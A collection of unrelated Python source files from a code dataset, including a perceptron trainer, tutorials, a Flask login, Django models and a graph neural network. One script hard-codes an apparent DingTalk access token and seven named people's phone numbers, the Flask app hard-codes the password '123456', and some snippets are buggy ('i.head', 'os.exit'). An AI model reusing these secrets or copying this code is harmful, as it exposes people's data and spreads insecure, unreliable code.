global Data\n global cols, rows\n\n print(\"Opening Test Data File\")\n f = open('testdata', 'r')\n print(\"Reading File to String\")\n tempdata = f.read()\n print(\"Splitting into Samples\")\n dataarray = tempdata.split(\"\\n\\n\\n\") #yep\n dataarray.pop()\n for i in dataarray:\n Data.append(Numimg(i)) #you know it\n\ndef printData():\n global Data\n for i in Data:\n i.print()\n\ndef main():\n global Epochs\n global TrainingPortion\n global Data\n ErrorArray = []\n PArray = []\n parseData()\n TrainingSize = int(len(Data) * TrainingPortion)\n BestP = None\n BestError = sys.maxsize\n CurrP = Perceptron(7, 0.05)\n CurrError = 0\n for i in range(TrainingSize, len(Data)):\n correct_out = (-1 if Data[i].label == '5' else 1)\n if not (CurrP.test(Data[i].inputs(), correct_out)):\n CurrError += 1\n ErrorArray.append(CurrError)\n PArray.append(CurrP.copy())\n if CurrError < BestError:\n BestError = CurrError\n BestP = CurrP.copy()\n for e in range(Epochs):\n CurrError = 0\n for i in range(TrainingSize):\n correct_out = (-1 if Data[i].label == '5' else 1)\n CurrP.learn(Data[i].inputs(), correct_out)\n\n for i in range(TrainingSize, len(Data)):\n correct_out = (-1 if Data[i].label == '5' else 1)\n if not(CurrP.test(Data[i].inputs(), correct_out)):\n CurrError += 1\n ErrorArray.append(CurrError)\n PArray.append(CurrP.copy())\n if CurrError < BestError:\n BestError = CurrError\n BestP = CurrP.copy()\n print(\"The best perceptron of\", Epochs, \"epochs has the following weights, where w0 is the threshold\")\n BestP.listWeights()\n print()\n print(\"This results in\", BestError, \"Errors out of\", len(Data) - TrainingSize, \"Test Cases\")\n print(\"Which is an accuracy of\", round(1 - (BestError/(len(Data) - TrainingSize)), 2))\n return 0\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Q4.py","file_name":"Q4.py","file_ext":"py","file_size_in_byte":6616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"540686751","text":"#函数的参数\ndef power(x): #自定义函数,求平方\n return x*x\nprint(power(3))\n\ndef power(x, n):\n s = 1\n while(n > 0):\n s = s * x\n n = n - 1\n return s\nprint(power(3,1))\n\n#默认参数\ndef power(x, n=2): #n的默认参数为2,如果不输入则n=2\n s = 1\n while(n > 0):\n s = s * x\n n = n - 1\n return s\nprint(power(3, 1))\nprint(power(3))\n\ndef enroll(name, gender, age=6, city='Beijing'): #可以用x=xx来选择默认参数\n print('name:', name)\n print('gender:', gender)\n print('age:', age)\n print('city:', city)\nenroll(\"Jack\", \"1\") #name: Jack gender: 1 age: 6 city: Beijing\nenroll(\"Jack\", \"1\", age=1) #name: Jack gender: 1 age: 1 city: Beijing\nenroll(\"Jack\", \"1\", city=\"TianJin\")#name: Jack gender: 1 age: 6 city: TianJin\n\n#可变参数\ndef calc(*numbers): #a2 + b2 + c2 + ……\n sum = 0\n for n in numbers:\n sum = sum + n * n\n return sum\nprint(calc(1, 3, 5))\n\nnums = [1, 2, 3]\nprint(calc(*nums)) #把list或tuple的元素变成可变参数\n\n#关键字参数\ndef person(name, age, **kw): #关键字参数在函数内部自动组装为一个dict\n print('name:', name, 'age:', age, 'other:', kw)\nperson(\"Jack\", 23) #name: Jack age: 23 other: {}\nperson(\"Jack\", 23, city=\"Beijing\", word=\"Chinese\") #name: Jack age: 23 other: {'city': 'Beijing', 'word': 'Chinese'}\n\nextra = {'city': 'Beijing', 'job': 'Engineer'}\nperson('Jack', 24, **extra) #和可变参数类似,也可以先组装出一个dict,然后,把该dict转换为关键字参数传进去\n\n#命名关键字参数\ndef person(name, age, *, city, job): #命名关键字参数必须传入参数名,这和位置参数不同。如果没有传入参数名,调用将报错\n print(name, age, city, job)\nperson('Jack', 24, city='Beijing', job='Engineer') #Jack 24 Beijing Engineer\n\ndef person(name, age, *, city='Beijing', job): #命名关键字参数可以有缺省值\n print(name, age, city, job)\n\nperson('Jack', 24, job='Engineer') #Jack 24 Beijing Engineer\n\n#参数组合\n#在Python中定义函数,可以用必选参数、默认参数、可变参数、关键字参数和命名关键字参数,\n# 这5种参数都可以组合使用,除了可变参数无法和命名关键字参数混合。\n# 但是请注意,参数定义的顺序必须是:必选参数、默认参数、可变参数/命名关键字参数和关键字参数\ndef f1(a, b, c=0, *args, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)\n\ndef f2(a, b, c=0, *, d, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)\n\nf1(1, 2) #a = 1 b = 2 c = 0 args = () kw = {}\nf1(1, 2, c=3) #a = 1 b = 2 c = 3 args = () kw = {}\nf1(1, 2, 3, 'a', 'b') #a = 1 b = 2 c = 3 args = ('a', 'b') kw = {}\nf1(1, 2, 3, 'a', 'b', x=99) #a = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}\nf2(1, 2, d=99, ext=None) #a = 1 b = 2 c = 0 d = 99 kw = {'ext': None}\n\nargs = (1, 2, 3, 4)\nkw = {'d': 99, 'x': '#'}\nf1(*args, **kw) #a = 1 b = 2 c = 3 args = (4,) kw = {'d': 99, 'x': '#'}\n\nargs = (1, 2, 3)\nkw = {'d': 88, 'x': '#'}\nf2(*args, **kw) #a = 1 b = 2 c = 3 d = 88 kw = {'x': '#'}\n\n","sub_path":"learn/3.function/3.3 funcion's param.py","file_name":"3.3 funcion's param.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"612010300","text":"from datetime import datetime\nimport time\nimport sched\nimport requests\nimport json\n\nmember_list = [\"15703086151\",\n \"17723526243\",\n \"15923251976\",\n \"17323717050\",\n \"15802314793\",\n \"17774983794\",\n \"13022333596\"]\n\nmember_dict = {\"15703086151\": \"勾雷\",\n \"17723526243\": \"李刚\",\n \"15923251976\": \"李鑫瑜\",\n \"17323717050\": \"龚权\",\n \"15802314793\": \"张森林\",\n \"17774983794\": \"张志苗\",\n \"13022333596\": \"章强\"}\n\nscheduler = sched.scheduler(time.time, time.sleep)\n\nurl = \"https://oapi.dingtalk.com/robot/send?access_token=\" \\\n \"7baa061c818611898f806f70f67c01475907abe6d3268e974007ef7fc091bfdb\"\n\nh = [10, 15, 19, 20, 21]\nm = [0, ]\n\n\ndef get_shovel():\n return member_list[datetime.now().weekday()]\n\n\ndef task():\n now = datetime.now()\n if now.hour in h and now.minute in m:\n print(\"[\" + datetime.now().strftime(\"%Y-%m-%d %H:%M:%S %A\") + \"]\", end=\" \")\n scheduler.enter(60, 1, task)\n notice()\n else:\n scheduler.enter(60, 1, task)\n\n\ndef timedTask():\n scheduler.enter(0, 1, task)\n scheduler.run()\n\n\ndef notice():\n headers = {\"Content-Type\": \"application/json; charset=utf-8\"}\n\n post_data = {\n \"msgtype\": \"text\",\n \"text\": {\n \"content\": \"@\" + get_shovel() + \" 快来给我铲屎啦 ( • ̀ω•́ )✧\"\n },\n \"at\": {\n \"atMobiles\": [get_shovel()]\n }\n }\n\n r = requests.post(url, headers=headers, data=json.dumps(post_data))\n print(\"发送消息:“@\" + member_dict[get_shovel()] + \" 快来给我铲屎啦 ( • ̀ω•́ )✧” \" + str(r.content))\n\n\nif __name__ == \"__main__\":\n try:\n print(\"[\" + datetime.now().strftime(\"%Y-%m-%d %H:%M:%S %A\") + \"] NSB 启动成功!\")\n timedTask()\n except Exception as error:\n print(\"[ERROR] : %s\" % error)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"6902343","text":"'''\r\n有台奇怪的打印机有以下两个特殊要求:\r\n\r\n打印机每次只能打印由 同一个字符 组成的序列。\r\n每次可以在任意起始和结束位置打印新字符,并且会覆盖掉原来已有的字符。\r\n给你一个字符串 s ,你的任务是计算这个打印机打印它需要的最少打印次数。\r\n\r\n示例 1:\r\n输入:s = \"aaabbb\"\r\n输出:2\r\n解释:首先打印 \"aaa\" 然后打印 \"bbb\"。\r\n\r\n示例 2:\r\n输入:s = \"aba\"\r\n输出:2\r\n解释:首先打印 \"aaa\" 然后在第二个位置打印 \"b\" 覆盖掉原来的字符 'a'。\r\n\r\n提示:\r\n1 <= s.length <= 100\r\ns 由小写英文字母组成\r\n'''\r\nclass Solution:\r\n '''\r\n 动态规划\r\n '''\r\n def strangePrinter(self, s: str) -> int:\r\n ret = [[0 for i in range(len(s))] for i in range(len(s))]\r\n for i in range(len(s) - 1, -1, -1):\r\n for j in range(i, len(s)):\r\n if i == j:\r\n ret[i][j] = 1\r\n elif s[i] == s[j]:\r\n ret[i][j] = ret[i][j - 1]\r\n else:\r\n ret[i][j] = float('inf')\r\n for k in range(i, j):\r\n ret[i][j] = min(ret[i][j], ret[i][k] + ret[k + 1][j])\r\n return ret[0][len(s) - 1]\r\n\r\ns = \"tbgtgb\"\r\nso = Solution()\r\nprint(so.strangePrinter(s))","sub_path":"leetcode/0664_H_奇怪的打印机_DP.py","file_name":"0664_H_奇怪的打印机_DP.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"246183731","text":"from __future__ import print_function\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\nfrom graph import *\nimport time\nfrom getmodel import getmodels, getmodel\n\ndef parse_args():\n\n parser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter,\n conflict_handler='resolve')\n # input files\n parser.add_argument('--input', required=True,\n help='Input graph file')\n parser.add_argument('--output', required=True,\n help='Output embedding file')\n parser.add_argument('--graph-format', default='adjlist', choices=['adjlist', 'edgelist'],\n help='Input graph format')\n parser.add_argument('--weighted', action='store_true',\n help='Treat graph as weighted')\n parser.add_argument('--directed', action='store_true',\n help='Treat graph as directed.')\n\n\n parser.add_argument('--epoch-fac', default=50, type=int,\n help='epoch-fac * node num in graph = node num per epoch')\n\n # algorithm parameters\n parser.add_argument('--model-v', required=True,\n help='The vertex sampling model')\n\n # APP\n parser.add_argument('--app-jump-factor', default=0.15, type=float,\n help='Jump factor (APP)')\n parser.add_argument('--app-step', default=80, type=int,\n help='Maximum number of walking steps(APP)')\n\n # deepwalk\n parser.add_argument('--degree-power', default=1.0, type=float,\n help='Bound of degree for sample_v of deepwalk.')\n parser.add_argument('--degree-bound', default=0, type=int,\n help='Bound of degree for sample_v of deepwalk.')\n parser.add_argument('--window-size', default=10, type=int,\n help='Window size of skipgram model.')\n\n # combination\n parser.add_argument('--combine', default=0.5, type=float,\n help='Combine A and B with how much A.')\n\n args = parser.parse_args()\n\n return args\n\ndef print_args(args):\n print(\"==================\")\n for arg in vars(args):\n print(\"{}={}\".format(arg, getattr(args, arg)))\n print(\"==================\")\n\ndef main(args):\n print_args(args)\n\n print(\"Reading Graph ...\")\n g = Graph()\n if args.graph_format == 'adjlist':\n g.read_adjlist(filename=args.input)\n elif args.graph_format == 'edgelist':\n g.read_edgelist(filename=args.input, weighted=args.weighted,\n directed=args.directed)\n\n model = getmodel(args.model_v, g, args)\n model.gendata(args.output)\n\nif __name__ == \"__main__\":\n random.seed()\n np.random.seed()\n main(parse_args())\n","sub_path":"gemb_sys/train/genpairs.py","file_name":"genpairs.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"70486324","text":"from flask import Flask, url_for, redirect, request, render_template\n\n\napp=Flask(__name__)\n\n@app.route('/')\n\ndef principal():\n return redirect(url_for('static', filename=\"index.html\"))\n\n\n@app.route('/login', methods=[\"POST\",\"GET\"])\ndef login():\n if request.method == 'POST':\n login = request.form['login']\n senha = request.form['senha']\n\n if (login== 'viniciussds') & (senha==\"123456\"):\n return render_template('oi.html',nome=login)\n else:\n return redirect(url_for('static',filename='index.html'))\n else:\n return redirect(url_for('static',filename=\"index.html\"))\n\n\n\nif __name__== '__main__':\n app.run(debug=True)\n","sub_path":"escolar.py","file_name":"escolar.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"208299260","text":"class Solution:\n def rotateRight(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n dummy = ListNode(0)\n dummy.next = head\n if head is None:\n return None\n \n #先数链表有几个节点\n i = head\n count = 1\n while i.next is not None:\n i = i.head\n count += 1\n #抛掉重复的转圈\n k = k%count\n if (k == 0) or count == 1:\n return head\n #把链表头尾连起来\n i.next = head\n\n #从dummy开始运动\n i = dummy\n #运动到新的链表的头的上一个节点\n for _ in range(count - k):\n i = i.next\n\n j = i.next\n i.next = None\n return j\n ","sub_path":"61翻转链表.py","file_name":"61翻转链表.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"392469663","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 10 20:18:21 2018\n\n@author: user\n\"\"\"\nimport pandas as pd\n\nresult={\"name\":[\"viredra\",\"atuk\",\"sid\",\"khan\",\"akram\",\"shahid\"],\"score\":[33,23,45,34,45,55],\"no_of_attempts\":[1,3,4,4,4,4],\"qualify\":[\"yes\",\"no\",\"no\",\"no\",\"no\",\"yes\"]}\nname=result.get(\"name\")\nscare=result.get(\"score\")\nattempts=result.get(\"no_of_attempts\")\nqualify=result.get(\"qualify\")\nlabels={\"labels\":[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\"]}\ndf=pd.DataFrame(result,index=labels[\"labels\"])\nprint(df)\n\nprint(df.head(4))\n\nprint(pd.DataFrame(qualify,index=df[\"name\"]))\n\ntotalattpt=0\nfor i in range(len(df[\"name\"])):\n if(df[\"score\"][i]>20 and df[\"score\"][i]<35):\n print(\"%s score= %d \\t no of attempts= %d \"% (df[\"name\"][i],df[\"score\"][i],df[\"no_of_attempts\"][i]))\n totalattpt+=df[\"no_of_attempts\"][i]\nprint(\"total attempts by these students %d\"%totalattpt)\n\n\n\n","sub_path":"10 apr/dictStudents.py","file_name":"dictStudents.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"205222365","text":"import os\nimport sqlite3\nfrom alayatodo import app\n\n\ndef migrate_db():\n\n try:\n\n with sqlite3.connect(app.config['DATABASE']) as connection:\n c = connection.cursor()\n\n c.execute(\"ALTER TABLE todos RENAME TO old_todos\")\n c.execute(\"SELECT * FROM old_todos\")\n\n data = [(row[1],row[2],1)for row in c.fetchall()]\n\n c.execute(\"DROP TABLE IF EXISTS todos;\")\n c.execute(\"\"\"\n CREATE TABLE todos (\n id INTEGER PRIMARY KEY,\n user_id INT(11) NOT NULL,\n description VARCHAR(255),\n status INTEGER NOT NULL,\n FOREIGN KEY (user_id) REFERENCES users(id)\n );\n \"\"\")\n c.executemany(\"INSERT INTO todos (user_id, description, status) VALUES (?,?,?)\",data)\n c.execute(\"DROP TABLE old_todos\")\n\n except sqlite3.OperationalError as ex:\n print(ex)\n os.exit(1)\n\nif __name__ == \"__main__\":\n migrate_db()\n","sub_path":"resources/migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"91212904","text":"from django.db import models\n\n# Create your models here.\nclass CanalEntrada(models.Model):\n \"\"\"Canal de entrada onde esse LEAD foi adquirido, seja Consórcio, Facebook, Instagram\"\"\"\n\n canal_entrada = models.CharField('Canal de Entrada', max_length=255)\n\n def __str__(self):\n return self.canal_entrada\n\n class Meta:\n verbose_name_plural = 'Canal de Entrada'\n\n\n\nclass Status(models.Model):\n\n\n status = models.CharField(max_length=255)\n descricao = models.TextField('Descrição', max_length=1000)\n data = models.DateField('Data do Status')\n\n def __str__(self):\n return self.status\n\n class Meta:\n verbose_name_plural = 'Status'\n\n\nclass Etapas(models.Model):\n \"\"\"Irá medir a etapa em qual o cliente está ou já passou, servirá como uma Timeline\"\"\"\n\n def __str__(self):\n return self.titulo\n\n titulo = models.CharField('Título da Etapa', max_length=255)\n descricao = models.TextField('Descrição', max_length=1000)\n arquivo = models.FileField('Arquivo Anexado', upload_to='leads/uploads/')\n data = models.DateField()\n\n class Meta:\n verbose_name_plural = 'Etapas'\n\n\nclass Leads(models.Model):\n SEXO_CHOICES = (\n ('M', 'Masculino'),\n ('F', 'Feminino'),\n )\n\n cpf = models.CharField(max_length=11)\n canal_entrada = models.ForeignKey(CanalEntrada)\n nome = models.CharField(max_length=255)\n sexo = models.CharField(max_length=1, choices=SEXO_CHOICES)\n endereco = models.CharField('Endereço', max_length=400)\n numero = models.CharField('Número', max_length=10)\n complemento = models.CharField(max_length=255, blank=True)\n bairro = models.CharField(max_length=255)\n cidade = models.CharField(max_length=255)\n uf = models.CharField(max_length=10)\n cep = models.CharField(max_length=10, blank=True)\n fixo1 = models.CharField('Fixo 1', max_length=20, blank=True)\n fixo2 = models.CharField('Fixo 2', max_length=20, blank=True)\n fixo3 = models.CharField('Fixo 3', max_length=20, blank=True)\n cel1 = models.CharField('Celular 1', max_length=20, blank=True)\n cel2 = models.CharField('Celular 2', max_length=20, blank=True)\n cel3 = models.CharField('Celular 3', max_length=20, blank=True)\n data_nasc = models.DateField('Data de Nascimento', blank=True)\n renda = models.DecimalField(max_length=20, max_digits=18, decimal_places=2, blank=True)\n email1 = models.EmailField('Email 1', blank=True)\n email2 = models.EmailField('Email 2', blank=True)\n email3 = models.EmailField('Email 3', blank=True)\n ## fk?\n produto = models.CharField(max_length=255)\n cod_produto = models.CharField('Código do produto', max_length=100)\n ## ?\n data_inicio = models.DateField('Data de Início', blank=True)\n data_conclusao = models.DateField('Data de Conclusão', blank=True)\n valor_produto = models.DecimalField('Valor do Produto', max_length=20, max_digits=18, decimal_places=2)\n valor_negociado = models.DecimalField('Valor Negociado', max_length=20, max_digits=18, decimal_places=2)\n moeda = models.CharField(max_length=100)\n metodo_pagto = models.CharField('Método de Pagamento', max_length=100)\n plano_pagto = models.CharField('Plano de Pagamento', max_length=100)\n bandeira = models.CharField(max_length=100)\n status = models.ForeignKey(Status)\n prox_contato = models.CharField('Próximo Contato', max_length=255)\n observacao = models.TextField('Observação', max_length=1000)\n etapas = models.ForeignKey(Etapas, null=True, blank=True)\n\n def __str__(self):\n return self.nome\n\n class Meta:\n verbose_name_plural = 'Leads'\n","sub_path":"goldentravel/apps/leads/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"133000594","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nfrom net.utils.tgcn import ConvTemporalGraphical\nfrom net.utils.graph import Graph\nimport random\n\nSEED = 2020\n\nclass Flatten(nn.Module):\n def forward(self, input):\n return input.view(input.size(0), -1)\n\n\nclass UnFlatten(nn.Module):\n def __init__(self, size):\n super().__init__()\n self.size = size\n \n def forward(self, input):\n return input.view(input.size(0), self.size, 1, 19)\n\n\nclass Model(nn.Module):\n r\"\"\"Graph Autoenconder (GAE).\n\n Args:\n in_channels (int): Number of channels in the input data\n edge_importance_weighting (bool): If ``True``, adds a learnable\n importance weighting to the edges of the graph\n predict_frames (int): Number of forecasted frames for the long-term head pose forecasting task\n embedd_dim (int): Size of the dimensionality of the latent embeddings \n device (str): 'cpu' or 'cuda'\n **kwargs (optional): Other parameters for graph convolution units\n\n Shape:\n - Input: :math:`(N, in_channels, T_{in}, V_{in}, C_{in})`\n - Output: #head pose (N, T, 1, 3), landmark (N, T, 19, 2), embeddings (N, embedd_dim)\n :math:`(N, T, 1, 3) & (N, T, 19, 2)` where\n :math:`N` is a batch size,\n :math:`T` is a number of forecasted frames for the long-term head pose forecasting task\n\n \"\"\"\n\n def __init__(self, in_channels,\n edge_importance_weighting, predict_frames=5, embedd_dim=64, device='cpu', **kwargs):\n super().__init__()\n torch.manual_seed(SEED)\n random.seed(2020)\n # load graph_encoder\n self.graph = Graph(layout='FAN_19', strategy='uniform') #(1, 19, 19)\n A = torch.tensor(self.graph.A, dtype=torch.float32, requires_grad=False, device=device)\n self.register_buffer('A', A)\n \n # load graph_decoder\n self.graph_de = Graph(layout='FAN_19', strategy='spatial') #(1, 19, 19)\n A_d = torch.tensor(self.graph_de.A, dtype=torch.float32, requires_grad=False, device=device)\n self.register_buffer('A_d', A_d)\n\n # build networks\n spatial_kernel_size = A.size(0) \n temporal_kernel_size = 3\n kernel_size = (temporal_kernel_size, spatial_kernel_size) #(3, 1)\n self.data_bn_en = nn.BatchNorm1d(in_channels * A.size(1)) # 2 * 19\n kwargs0 = {k: v for k, v in kwargs.items() if k != 'dropout'}\n self.st_gcn_encoder = nn.ModuleList((\n\n # --------------------------------------------------encoder -----------------------------------------\n st_gcn(in_channels, embedd_dim //2, kernel_size, 1, residual=False, **kwargs0), #(N, 16, 5, 19) \n \n st_gcn(embedd_dim //2, embedd_dim //2, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim //2, embedd_dim //2, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim //2, embedd_dim, kernel_size, 2, **kwargs), #(N, 32, 3, 19) \n st_gcn(embedd_dim, embedd_dim, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim, embedd_dim, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim, embedd_dim *2, kernel_size, 2, **kwargs), #(N, 64, 2, 19) \n st_gcn(embedd_dim *2, embedd_dim *2, kernel_size, 1, **kwargs), \n st_gcn(embedd_dim *2, embedd_dim *2, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim *2, embedd_dim *4, kernel_size, 2, **kwargs), #(N, 128, 1, 19) \n st_gcn(embedd_dim *4, embedd_dim *4, kernel_size, 1, **kwargs)\n \n ))\n\n self.flat = Flatten()\n self.fc1 = nn.Linear(embedd_dim *4 *A.size(1), embedd_dim) # for self.mean\n self.fc2 = nn.Linear(embedd_dim *4 *A.size(1), embedd_dim) # for self.logvar\n self.unflat = UnFlatten(embedd_dim)\n \n self.fc3 = nn.Sequential(\n nn.Linear(embedd_dim, embedd_dim *A.size(1)),\n nn.PReLU()\n )\n \n self.data_bn_decoder = nn.BatchNorm1d(embedd_dim *A.size(1)) # embedd_dim * 19\n self.st_gcn_decoder_land = nn.ModuleList((\n\n # --------------------------------------------------decoder -----------------------------------------\n st_gcn(embedd_dim, embedd_dim, kernel_size, 1, **kwargs), #(N, 32, 1, 19) \n st_gcn(embedd_dim, embedd_dim //2, (2, spatial_kernel_size), 1, **kwargs), #(N, 16, 2, 19) \n st_gcn(embedd_dim //2, embedd_dim //2, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim //2, embedd_dim //4, (3, spatial_kernel_size), 1, decoder_layer=True, **kwargs), #(N, 8, 4, 19) \n st_gcn(embedd_dim //4, embedd_dim //4, kernel_size, 1, **kwargs),\n st_gcn(embedd_dim //4, 2, (2, spatial_kernel_size), 1, last_layer=True, **kwargs) #(N, 2, 5, 19) \n # -------------------------------------------------------------------------------------------------------\n ))\n \n self.land_layer = nn.Sequential(\n nn.Linear(2 * 5 *self.A.size(1), 2*19*predict_frames)\n )\n \n self.data_bn = nn.BatchNorm1d(2 *A.size(1)) \n \n self.st_gcn_networks = nn.ModuleList((\n\n # --------------------------------------------------decoder -----------------------------------------\n st_gcn(2, 64, (1, 3), 1, residual=False, **kwargs0),\n st_gcn(64, 64, (1, 3), 1, **kwargs),\n st_gcn(64, 64, (1, 3), 1, **kwargs),\n st_gcn(64, 64, (1, 3), 1, **kwargs),\n st_gcn(64, 128, (1, 3), 2, **kwargs),\n# st_gcn(128, 128, (1, 3), 1, **kwargs),\n # -------------------------------------------------------------------------------------------------------\n ))\n \n # fcn for prediction\n self.fcn = nn.Conv2d(128, 256, kernel_size=1)\n \n # linear layer\n self.linear = nn.Linear(256, 3)\n \n # initialize parameters for edge importance weighting\n if edge_importance_weighting:\n self.edge_importance_encoder = nn.ParameterList([ #encoder graph edge \n nn.Parameter(torch.ones(self.A.size()))\n for i in self.st_gcn_encoder\n ])\n\n self.edge_importance_mean = nn.Parameter(torch.ones(self.A.size()))\n self.edge_importance_std = nn.Parameter(torch.ones(self.A.size()))\n\n self.edge_importance_decoder_land = nn.ParameterList([ #decoder_land graph edge \n nn.Parameter(torch.ones(self.A.size()))\n for i in self.st_gcn_decoder_land\n ])\n \n self.edge_importance = nn.ParameterList([ #decoder_pose graph edge \n nn.Parameter(torch.ones(self.A_d.size()))\n for i in self.st_gcn_networks\n ])\n\n else:\n self.edge_importance = [1] * len(self.st_gcn_encoder)\n \n\n def encode(self, x):\n\n x = x[:,:5,:19,:2] #(N, T, 19, C)\n\n # data normalization\n N, T, V, C = x.size() # input tensor:(N, T, V, C)\n x = x.permute(0, 2, 3, 1).contiguous() # (N, V, C, T)\n x = x.view(N, V * C, T)\n x = self.data_bn_en(x)\n x = x.view(N, V, C, T)\n x = x.permute(0, 2, 3, 1).contiguous() # (N, C, T, V) --> (N, 2, 5, 19)\n \n # forward\n for gcn, importance in zip(self.st_gcn_encoder, self.edge_importance_encoder):\n x, _ = gcn(x, self.A * importance) # (N, C, T=2, V=19)\n\n # print(x.shape)\n\n x = self.flat(x)\n\n self.mean = self.fc1(x)\n sampled_z = self.mean\n\n return sampled_z\n\n def decode_land(self, z):\n \n z = self.fc3(z)\n z = self.unflat(z)\n \n N, C, T, V = z.size() # 输入tensor:(N, C, T, V)\n z = z.permute(0, 3, 1, 2).contiguous() # (N, V, C, T)\n z = z.view(N, V * C, T)\n z = self.data_bn_decoder(z)\n z = z.view(N, V, C, T)\n z = z.permute(0, 2, 3, 1).contiguous() # (N, C, T, V) --> (N, 64, 1, 21)\n \n z_land = z #(N, 64, 1, 21)\n #print(z.shape)\n\n for gcn, importance in zip(self.st_gcn_decoder_land, self.edge_importance_decoder_land):\n z_land, A = gcn(z_land, self.A * importance) # (N, C=2, T=5, V=19)\n\n z_land = z_land.view(N, -1)\n y_pred = self.land_layer(z_land) #(N, 2*19)\n \n y_pred = y_pred.view(N, -1, 19, 2) \n\n return y_pred, A\n\n def decode_pose(self, z):\n \n \n N, V, C = z.size() # 输入tensor:(N, V, C)\n T = 1\n z = z.view(N, V * C, T)\n z = self.data_bn(z)\n z = z.view(N, V, C, T)\n z = z.permute(0, 2, 3, 1).contiguous() # (N, C, T, V) --> (N, 64, 1, 21)\n \n z_pose = z #(N, 64, 1, 21)\n\n for gcn, importance in zip(self.st_gcn_networks, self.edge_importance):\n z_pose, A = gcn(z_pose, self.A_d * importance) # (N, C=128, T=1, V=19)\n \n y = F.avg_pool2d(z_pose, z_pose.size()[2:]) \n y = y.view(N, -1, 1, 1) #(N, 128, 1, 1)\n \n # prediction \n y = self.fcn(y) #(N, 256, 1, 1)\n \n y = y.view(y.size(0), -1)\n\n y_pose = self.linear(y) #(N, 3)\n y_pose = y_pose.view(N, -1, 1, 3)\n \n return y_pose, A\n\n def forward(self, x, predict_frames):\n \n z = self.encode(x) # z: (N, 64, 1, 19)\n #print(f'Z: {z.shape}')\n \n y_land, A_pred = self.decode_land(z)\n pose_result = []\n for i in range(predict_frames):\n y_pose, _ = self.decode_pose(y_land[:,i,:,:])\n pose_result.append(y_pose)\n \n pose_result = torch.cat(pose_result, dim=1)\n \n return pose_result, y_land, z\n\n\n\nclass st_gcn(nn.Module):\n r\"\"\"Spatial temporal graph convolution network (ST-GCN).\n\n Args:\n in_channels (int): Number of channels in the input sequence data\n out_channels (int): Number of channels produced by the convolution\n kernel_size (tuple): Size of the temporal convolving kernel and graph convolving kernel\n stride (int, optional): Stride of the temporal convolution. Default: 1\n dropout (int, optional): Dropout rate of the final output. Default: 0\n residual (bool, optional): If ``True``, applies a residual mechanism. Default: ``True``\n\n Shape:\n - Input[0]: Input graph sequence in :math:`(N, in_channels, T_{in}, V)` format\n - Input[1]: Input graph adjacency matrix in :math:`(K, V, V)` format\n - Output[0]: Output graph sequence in :math:`(N, out_channels, T_{out}, V)` format\n - Output[1]: Graph adjacency matrix for output data in :math:`(K, V, V)` format\n\n where\n :math:`N` is a batch size,\n :math:`K` is the spatial kernel size, as :math:`K == kernel_size[1]`,\n :math:`T_{in}/T_{out}` is a length of input/output sequence,\n :math:`V` is the number of graph nodes.\n\n \"\"\"\n\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n stride=1,\n dropout=0,\n residual=True,\n last_layer=False,\n decoder_layer=False,\n re_layer=False):\n super().__init__()\n\n assert len(kernel_size) == 2\n #print(kernel_size[0])\n if kernel_size[0] == 3 and not decoder_layer:\n padding = ((kernel_size[0] - 1) // 2, 0)\n stride_res = 2\n elif re_layer:\n padding = (0, 0)\n stride_res = 2\n elif last_layer:\n padding = ((kernel_size[0] + 1) //2, 0) \n stride_res = 4\n elif not last_layer and kernel_size[0] != 1: \n padding = ((kernel_size[0] + 1) //2, 0) \n stride_res = 2\n elif kernel_size[0] == 1:\n padding = ((kernel_size[0] - 1) // 2, 0)\n stride_res = stride\n\n # GCN\n self.gcn = ConvTemporalGraphical(in_channels, out_channels,\n kernel_size[1])\n\n # TCN\n self.tcn = nn.Sequential(\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.Conv2d(\n out_channels,\n out_channels,\n (kernel_size[0], 1),\n (stride, 1),\n padding,\n ),\n nn.BatchNorm2d(out_channels),\n nn.Dropout(dropout, inplace=True),\n )\n\n if not residual:\n self.residual = lambda x: 0\n\n elif (in_channels == out_channels) and (stride == 1):\n self.residual = lambda x: x\n\n else: \n self.residual = 